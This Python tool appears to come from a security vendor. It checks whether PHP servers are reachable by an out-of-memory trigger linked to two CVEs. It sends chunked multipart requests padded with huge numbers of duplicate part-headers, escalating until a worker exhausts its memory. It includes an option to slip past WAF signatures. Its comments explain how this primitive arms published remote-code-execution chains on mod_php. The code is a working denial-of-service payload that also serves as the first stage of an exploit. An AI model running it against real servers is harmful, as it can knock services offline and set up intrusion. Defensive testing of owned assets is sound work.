php2shell_oom_check.py

#!/usr/bin/env python3
# ---------------------------------------------------------------------------
# php2shell_oom_check.py — PHP2Shell (CVE-2026-109618 / CVE-2026-109619)
# unauthenticated pre-RINIT OOM-trigger reachability check.
#
# OffSeq Cybersecurity — Mirage research series.
# Companion tool to "PHP2Shell in the wild: the first 48 hours on a honeypot
# fleet" (https://offseq.com/en/research/).
#
# What it does
#   Sends a chunked (Transfer-Encoding: chunked) multipart/form-data request
#   whose single part carries a large, amplified set of duplicate part-headers.
#   Chunked framing removes the Content-Length pre-check, so `post_max_size`
#   is never consulted for the streamed body; PHP's RFC 1867 parser then saves
#   each part-header into a 256-byte SMART_STR slot (~50x wire amplification),
#   driving heap use past `memory_limit` *before* application code runs. On an
#   affected build the allocation fails inside the pre-RINIT parse window
#   (php_session_reset_id -> php_url_encode) — the same arming primitive the
#   public chains use — and surfaces either as:
#       display_errors=On : 200 body "Allowed memory size of N bytes exhausted"
#       display_errors=Off: a worker-abort 5xx / reset on the probe while a
#                           benign control POST still succeeds.
#
# What it does NOT do
#   No code execution, no memory-disclosure arming, no exploitation. This is a
#   non-destructive presence/reachability check. OOM reachability is a
#   precondition, not proof of RCE.
#
# SAPI exploitability (measured, important for triage)
#   The CVE-2026-109618 in-band disclosure/RCE chain needs the arming OOM to
#   leave PS(id) dangling in a worker that SURVIVES the fatal, so a second
#   request can reclaim+disclose it. Apache mod_php (prefork) children survive
#   the memory_limit fatal -> leak/RCE achievable. php-fpm workers TERMINATE on
#   the OOM (verified: worker PID changes on every OOM) -> the dangling state
#   dies with the worker -> this OOM chain yields DoS only on FPM, not RCE
#   (matches the advisory's "mod_php most exposed"). A TRIGGER_REACHABLE verdict
#   therefore means RCE-exposed on mod_php but OOM-DoS on FPM for this vector.
#   FPM code execution needs the separate CVE-2026-109619 upload-progress UAF.
#
# Scope / safety
#   A positive probe transiently exhausts one worker's memory and may abort its
#   current request. Authorized testing of assets you own or are contracted to
#   assess only. Escalation stops at the first signal; keep --max-headers
#   conservative on shared hosts.
#
# Validation (ground truth, native amd64, 2026-10)
#   php:8.4.24-apache (mod_php, prefork)    -> TRIGGER_REACHABLE (de=On and de=Off)
#   php:8.4.24-fpm (nginx FastCGI, buffered) -> TRIGGER_REACHABLE (de=On)
#   php:8.4.27-apache (patched)             -> NO_SIGNAL (unknown-header filtering)
# Note: a *buffering* FastCGI front (CONTENT_LENGTH set) forwards the amplified
# part-headers to fpm and OOMs; a non-buffering/streaming front may suppress it.
#
# Author:  OffSeq Cybersecurity
# License: Apache-2.0
# ---------------------------------------------------------------------------
from __future__ import annotations

import argparse
import json
import re
import socket
import ssl
import sys
import time
from urllib.parse import urlparse

TOOL_VERSION = "1.2.0"
DEFAULT_BOUNDARY = "----offseqP2S"
CHUNK = 16384
MEM_RE = re.compile(rb"Allowed memory size of (\d+) bytes exhausted")
STATUS_RE = re.compile(rb"^HTTP/\d\.\d (\d{3})")


def chunk_encode(body: bytes) -> bytes:
    out = bytearray()
    for i in range(0, len(body), CHUNK):
        piece = body[i:i + CHUNK]
        out += f"{len(piece):x}\r\n".encode() + piece + b"\r\n"
    out += b"0\r\n\r\n"
    return bytes(out)


def build_part(boundary: str, n_headers: int) -> bytes:
    part = bytearray()
    part += b"--" + boundary.encode() + b"\r\n"
    part += b'Content-Disposition: form-data; name="f"\r\n'
    part += b"X:a\r\n" * n_headers
    part += b"\r\nv\r\n"
    part += b"--" + boundary.encode() + b"--\r\n"
    return bytes(part)


class Target:
    def __init__(self, url: str):
        if "://" not in url:
            url = "http://" + url
        u = urlparse(url)
        self.host = u.hostname
        self.tls = u.scheme == "https"
        self.port = u.port or (443 if self.tls else 80)
        self.path = (u.path or "/") + (("?" + u.query) if u.query else "")
        if not self.host:
            raise ValueError("could not parse host from URL")


class Resp:
    __slots__ = ("code", "status", "headers", "body", "raw", "elapsed", "reset", "error")

    def __init__(self, raw=b"", elapsed=0.0, reset=False, error=None):
        self.raw, self.elapsed, self.reset, self.error = raw, elapsed, reset, error
        self.code, self.status, self.headers, self.body = None, "?", {}, b""
        if raw:
            head, _, self.body = raw.partition(b"\r\n\r\n")
            lines = head.split(b"\r\n")
            self.status = lines[0].decode("latin1", "replace")
            m = STATUS_RE.match(lines[0])
            if m:
                self.code = int(m.group(1))
            for ln in lines[1:]:
                if b":" in ln:
                    k, _, v = ln.partition(b":")
                    self.headers[k.strip().lower().decode("latin1")] = \
                        v.strip().decode("latin1", "replace")

    def header(self, name: str) -> str | None:
        return self.headers.get(name.lower())

    @property
    def ok(self) -> bool:
        return self.code is not None and 200 <= self.code < 400


def send(target: Target, method: str, timeout: float, insecure: bool,
         body: bytes = b"", extra: dict | None = None) -> Resp:
    lines = [f"{method} {target.path} HTTP/1.1", f"Host: {target.host}",
             f"User-Agent: offseq-php2shell-check/{TOOL_VERSION}", "Accept: */*",
             "Connection: close"]
    for k, v in (extra or {}).items():
        lines.append(f"{k}: {v}")
    head = ("\r\n".join(lines) + "\r\n\r\n").encode()
    t0 = time.time()
    try:
        raw_sock = socket.create_connection((target.host, target.port), timeout=timeout)
        if target.tls:
            ctx = ssl.create_default_context()
            if insecure:
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
            sock = ctx.wrap_socket(raw_sock, server_hostname=target.host)
        else:
            sock = raw_sock
        sock.settimeout(timeout)
        sock.sendall(head)
        if body:
            sock.sendall(body)
        data = bytearray()
        while len(data) < (1 << 19):
            b = sock.recv(65536)
            if not b:
                break
            data += b
        sock.close()
        return Resp(bytes(data), round(time.time() - t0, 3))
    except (socket.timeout, ssl.SSLError, ConnectionResetError,
            BrokenPipeError, OSError) as exc:
        return Resp(reset=True, elapsed=round(time.time() - t0, 3),
                    error=f"{type(exc).__name__}: {exc}")


def multipart_headers(boundary: str, ct_bypass: bool) -> dict:
    # ct_bypass: comma separator — SAPI.c trims Content-Type at ';', ',' and
    # space, so this is still accepted by PHP but evades WAF rules anchored on
    # "multipart/form-data;".
    sep = "," if ct_bypass else ";"
    return {"Content-Type": f"multipart/form-data{sep} boundary={boundary}",
            "Transfer-Encoding": "chunked"}


def control_post(target, args) -> Resp:
    body = chunk_encode(build_part(args.boundary, 1))
    return send(target, "POST", args.timeout, args.insecure, body,
                multipart_headers(args.boundary, args.ct_bypass))


def oom_probe(target, args, n_headers: int) -> dict:
    part = build_part(args.boundary, n_headers)
    body = chunk_encode(part)
    r = send(target, "POST", args.timeout, args.insecure, body,
             multipart_headers(args.boundary, args.ct_bypass))
    m = MEM_RE.search(r.raw)
    return {"headers": n_headers, "wire_bytes": len(body), "status": r.status,
            "code": r.code, "reset": r.reset, "elapsed": r.elapsed,
            "oom_text": bool(m), "memory_limit": int(m.group(1)) if m else None,
            "x_powered_by": r.header("x-powered-by"), "server": r.header("server"),
            "resp": r}


def main() -> int:
    ap = argparse.ArgumentParser(
        description="PHP2Shell (CVE-2026-109618/109619) OOM-trigger reachability "
                    "check — OffSeq Cybersecurity. Non-destructive detection only.")
    ap.add_argument("-u", "--url", required=True,
                    help="full URL to a PHP endpoint, e.g. https://host/index.php")
    ap.add_argument("--start", type=int, default=50_000,
                    help="initial duplicate-header count (default 50000)")
    ap.add_argument("--max-headers", type=int, default=900_000,
                    help="upper escalation bound (default 900000, ~4.5MB wire)")
    ap.add_argument("--factor", type=float, default=2.0,
                    help="escalation multiplier per step (default 2.0, >1)")
    ap.add_argument("--max-wire-mb", type=float, default=8.0,
                    help="hard cap on probe body size in MB (default 8)")
    ap.add_argument("--boundary", default=DEFAULT_BOUNDARY, help="multipart boundary")
    ap.add_argument("--ct-bypass", action="store_true",
                    help="use a comma Content-Type separator (WAF-signature bypass)")
    ap.add_argument("--delay", type=float, default=0.5,
                    help="seconds between escalation steps (default 0.5)")
    ap.add_argument("--timeout", type=float, default=60.0, help="socket timeout s")
    ap.add_argument("-k", "--insecure", action="store_true",
                    help="skip TLS certificate verification")
    ap.add_argument("--json", action="store_true", help="emit a single JSON object")
    args = ap.parse_args()

    if args.factor <= 1.0:
        ap.error("--factor must be > 1")
    if args.start > args.max_headers:
        ap.error("--start must be <= --max-headers")

    try:
        target = Target(args.url)
    except ValueError as exc:
        print(json.dumps({"verdict": "ERROR", "detail": str(exc)}))
        return 2

    out = {"tool": "php2shell_oom_check", "version": TOOL_VERSION,
           "vendor": "OffSeq Cybersecurity",
           "cve": ["CVE-2026-109618", "CVE-2026-109619"], "url": args.url,
           "verdict": "UNKNOWN", "evidence": {}, "attempts": []}
    log = (lambda *a: None) if args.json else (lambda *a: print(*a, file=sys.stderr))

    live = send(target, "GET", min(args.timeout, 10.0), args.insecure)
    if live.reset or live.code is None:
        out.update(verdict="UNREACHABLE", detail=live.error or live.status)
        return emit(out, args.json, 2)
    log(f"[*] baseline GET: {live.status}")

    ctrl = control_post(target, args)
    out["evidence"]["control_status"] = ctrl.status
    if ctrl.reset:
        out.update(verdict="INCONCLUSIVE",
                   detail="control chunked POST reset; upstream may reject "
                          "Transfer-Encoding: chunked. Cannot assess this vector.")
        return emit(out, args.json, 2)
    control_ok = ctrl.ok
    log(f"[*] control POST (1 header, chunked): {ctrl.status}"
        + ("" if control_ok else "  [!] non-2xx control — results qualified"))

    n = args.start
    cap = int(args.max_wire_mb * 1024 * 1024)
    hit = None
    while n <= args.max_headers:
        projected = n * 5 + 120
        projected += (projected // CHUNK + 1) * 8
        if projected > cap:
            log(f"[*] stop: next body ~{projected}B exceeds --max-wire-mb cap")
            break
        a = oom_probe(target, args, n)
        out["attempts"].append({k: a[k] for k in
            ("headers", "wire_bytes", "status", "code", "oom_text", "reset", "elapsed")})
        log(f"[*] headers={n:>8} wire={a['wire_bytes']:>8}B status={a['status']} "
            f"oom_text={a['oom_text']} reset={a['reset']} ({a['elapsed']}s)")
        crash_diff = control_ok and (a["reset"] or (a["code"] or 0) >= 500)
        size_reject = (a["code"] in (413, 400)) and not a["oom_text"]
        if a["oom_text"] or crash_diff:
            hit = a
            break
        if size_reject:
            out["evidence"]["note"] = (
                "probe met a %s (entity/limit rejection) before any OOM — "
                "streaming request-size enforcement, a fixed-build indicator."
                % a["code"])
            break
        n = int(n * args.factor)
        time.sleep(args.delay)

    if hit:
        after = send(target, "GET", min(args.timeout, 10.0), args.insecure)
        out["verdict"] = "TRIGGER_REACHABLE"
        out["confidence"] = "high" if hit["oom_text"] else "medium"
        out["evidence"].update(
            signal="oom_text" if hit["oom_text"] else "worker_abort_differential",
            memory_limit=hit["memory_limit"],
            display_errors_on=bool(hit["oom_text"]),
            trigger_headers=hit["headers"], trigger_wire_bytes=hit["wire_bytes"],
            worker_survived=after.ok,
            x_powered_by=hit["x_powered_by"], server=hit["server"])
        out["detail"] = (
            "unauthenticated pre-RINIT OOM bailout reached via chunked + "
            "amplified part-headers (%s). This is the public chains' stage-A "
            "arming primitive; it is a precondition for CVE-2026-109618/109619, "
            "not RCE proof." % out["evidence"]["signal"])
        return emit(out, args.json, 0)

    if out["evidence"].get("note", "").endswith("indicator."):
        out.update(verdict="NO_SIGNAL", detail=out["evidence"]["note"])
        return emit(out, args.json, 1)
    out.update(verdict="NO_SIGNAL",
               detail="no OOM or worker-abort within bounds. NOT proof of "
                      "patching: a higher memory_limit, display_errors=Off with "
                      "a proxied error page, a non-PHP endpoint, or upstream "
                      "chunked handling can each suppress the signal. "
                      + ("" if control_ok else "Control POST was non-2xx — "
                         "re-run against a POST-handling PHP endpoint."))
    return emit(out, args.json, 1)


def emit(out: dict, as_json: bool, code: int) -> int:
    for a in out.get("attempts", []):
        a.pop("resp", None)
    if as_json:
        print(json.dumps(out))
    else:
        print(f"\n[=] verdict: {out['verdict']}"
              + (f" ({out['confidence']} confidence)" if out.get("confidence") else ""))
        ev = out.get("evidence", {})
        if ev.get("memory_limit"):
            print(f"[=] memory_limit={ev['memory_limit']} "
                  f"display_errors={'On' if ev.get('display_errors_on') else 'Off/unknown'}")
        if ev.get("x_powered_by"):
            print(f"[=] X-Powered-By: {ev['x_powered_by']}")
        print(f"[=] {out.get('detail', '')}")
    return code


if __name__ == "__main__":
    sys.exit(main())